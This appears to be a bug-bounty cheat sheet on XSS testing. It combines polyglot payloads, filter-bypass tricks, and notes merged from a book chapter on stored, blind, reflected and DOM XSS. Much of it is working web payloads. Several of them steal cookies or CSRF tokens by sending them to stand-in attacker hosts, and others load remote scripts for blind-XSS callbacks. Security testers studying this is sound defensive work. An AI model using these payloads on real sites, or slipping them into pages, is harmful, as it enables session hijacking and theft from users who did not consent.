Table of Contents

Tactical Fuzzing - XSS

XSS

Core Idea: Does the page functionality display something to the users? For time sensitive testing the 80/20 rule applies. Many testers use Polyglot payloads. You probably have too!

Multi-context, filter bypass based polyglot payload #1 (Rsnake XSS Cheat Sheet)

';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

Multi-context, filter bypass based polyglot payload #2 (Ashar Javed XSS Research)

">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>"><img/id="confirm(1)"/alt="/"src="/"onerror=eval(id)>'"><img src="http://i.imgur.com/P8mL8.jpg">

Multi-context polyglot payload (Mathias Karlsson)

" onclick=alert(1)//<button ' onclick=alert(1)//> */ alert(1)//

Other XSS Observations

Input Vectors:

SWF Parameter XSS

Common Params: onload, allowedDomain, movieplayer, xmlPath, eventhandler, callback (more on OWASP page)

Common Injection Strings:

\%22})))}catch(e){alert(document.domain);}//
"]);}catch(e){}if(!self.a)self.a=!alert(document.domain);//
"a")(({type:"ready"}));}catch(e){alert(1)}//

Zseano's XSS Filter Bypass Flow

Blind XSS targets: support tickets, admin-visible fields (name, bio), log-visible headers (User-Agent, Referer).

Missed vectors: CSS customization fields, event names, file upload filenames, JSON POST bodies, custom error pages, mobile app forms.

BBC Ch 6: Cross-Site Scripting

Merged from Bug Bounty Bootcamp Ch 6 by Vickie Li

How XSS Works

XSS happens when an attacker injects a script into a page that another user views. Because the injected script runs in the victim's browser as if it belongs to the target site, it can access anything the site's JavaScript can access: cookies, session tokens, page content, CSRF tokens.

Classic cookie-theft payload:

<script>image = new Image();
image.src='http://attacker_server_ip/?c='+document.cookie;</script>

If HttpOnly is set on the session cookie, JS cannot read it – but XSS can still perform actions on the victim's behalf, steal CSRF tokens from the DOM, or replace the page with a phishing login form.

XSS Types

Stored XSS

User input is saved server-side (database, log, message board) and rendered to other users without sanitization. A single payload attacks every visitor. Most severe type.

Classic vector: a comment field that renders JS to every user who loads the page.

Blind XSS

A stored XSS variant where the payload fires in a part of the app the attacker cannot see, typically an admin panel or internal log viewer. Submit through a user-facing form (support ticket, contact form, User-Agent header), and the script executes when an admin views it.

Detection – use an out-of-band callback:

<script src='http://YOUR_SERVER_IP/xss'></script>

Watch server logs for GET /xss. XSSHunter automates this.

Reflected XSS

User input is returned in the same request/response without being stored. Typical vector: search queries, error messages, URL parameters reflected onto the page. Victim must click a crafted link.

https://example.com/search?q=<script>alert('XSS');</script>

DOM-Based XSS

The payload never reaches the server. Client-side JS reads user-supplied data (URL fragment, query param) and writes it to the DOM insecurely. The HTTP response is unchanged – server-side WAFs cannot see it.

URL fragments ('#') never leave the browser, so DOM XSS via fragments bypasses server-side filtering entirely.

https://example.com?locale=<script>location='http://attacker/?c='+document.cookie;</script>

Self-XSS

Victim must inject the payload themselves (social engineering required). Not accepted in bug bounty programs.

Prevention

DOM XSS requires client-side input validation before writing to the DOM. Server-side sanitization alone does not stop it.

Reference: OWASP XSS Prevention Cheat Sheet

Hunting for XSS

Step 1: Find Input Opportunities

Step 2: Insert Payloads

Payload Purpose
<script>alert(1)</script> Basic test – pop-up if unfiltered
<iframe src=javascript:alert(1)> Useful when script tags are blocked
<body onload=alert(1)> No “script” string required
”><img src=x onerror=prompt(1);> Closes previous tag, fires JS on img error
<script>alert(1)<!- Comments out remainder of line
<a onmouseover=“alert(1)”>test</a> Fires on hover
<script src=attacker.com/test.js> Loads external script

XSS polyglot (fires across img, script, p contexts):

javascript:"/*"/*`/*' /*</template>
</textarea></noembed></noscript></title>
</style></script>-->&lt;svg onload=/*<html/*/onmouseover=alert()//&gt;

Generic test string to identify which characters get escaped: >'<“;:!–

Blind XSS OOB payload:

<script src='http://YOUR_SERVER_IP/xss'></script>

Watch server logs for GET /xss to confirm execution.

Step 3: Confirm Impact

Bypassing XSS Filters

Alternative JS Syntax

If <script> is blocked, use event handlers or URL schemes:

<img src="123" onerror="alert('XSS');"/>
<a href="javascript:alert('XSS')">Click me!</a>

javascript: and data: schemes execute JS in anchor and iframe src attributes:

data:text/html,<script>alert('XSS')</script>

Capitalization and Encoding

Mix case to bypass exact-string filters (browsers parse HTML permissively):

<scrIPT>location='http://attacker/?c='+document.cookie;</scrIPT>

If quotes are filtered, use String.fromCharCode():

<scrIPT>location=String.fromCharCode(104,116,116,112,58,47,47,97,116,116,97,99,107,101,114)+document.cookie;</scrIPT>

Filter Logic Errors

If the filter removes <script> exactly once, nest tags so removal reconstructs the outer tag:

<scrip<script>t>location='http://attacker/?c='+document.cookie;</scrip</script>t>

Closing Out Tags

When input lands inside an existing attribute (e.g. <img src=“USER_INPUT”>), close the attribute and tag first:

"/><script>location="http://attacker.com";</script>

Check the browser console for syntax errors if your payload doesn't fire.

Reference: OWASP XSS filter evasion cheat sheet

Escalating the Attack

Impact depends on where the XSS fires:

var token = document.getElementById('csrf-token').value;
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://attacker_server_ip/?token="+token, true);
xhr.send(null);

7-Step Checklist

  1. Look for user input opportunities. Stored input: test for stored XSS. URL-reflected input: test for reflected and DOM XSS.
  2. Insert XSS payloads at all discovered injection points. Use payload lists, polyglots, or a generic test string.
  3. Confirm impact: pop-up, redirect, or OOB callback from your server.
  4. If payloads are blocked, bypass XSS protections (alt syntax, encoding, filter logic errors).
  5. Automate with Burp Intruder or a fuzzer.
  6. Assess impact: who does it target? How many users? Admin context or general user?
  7. Send the report with a working PoC.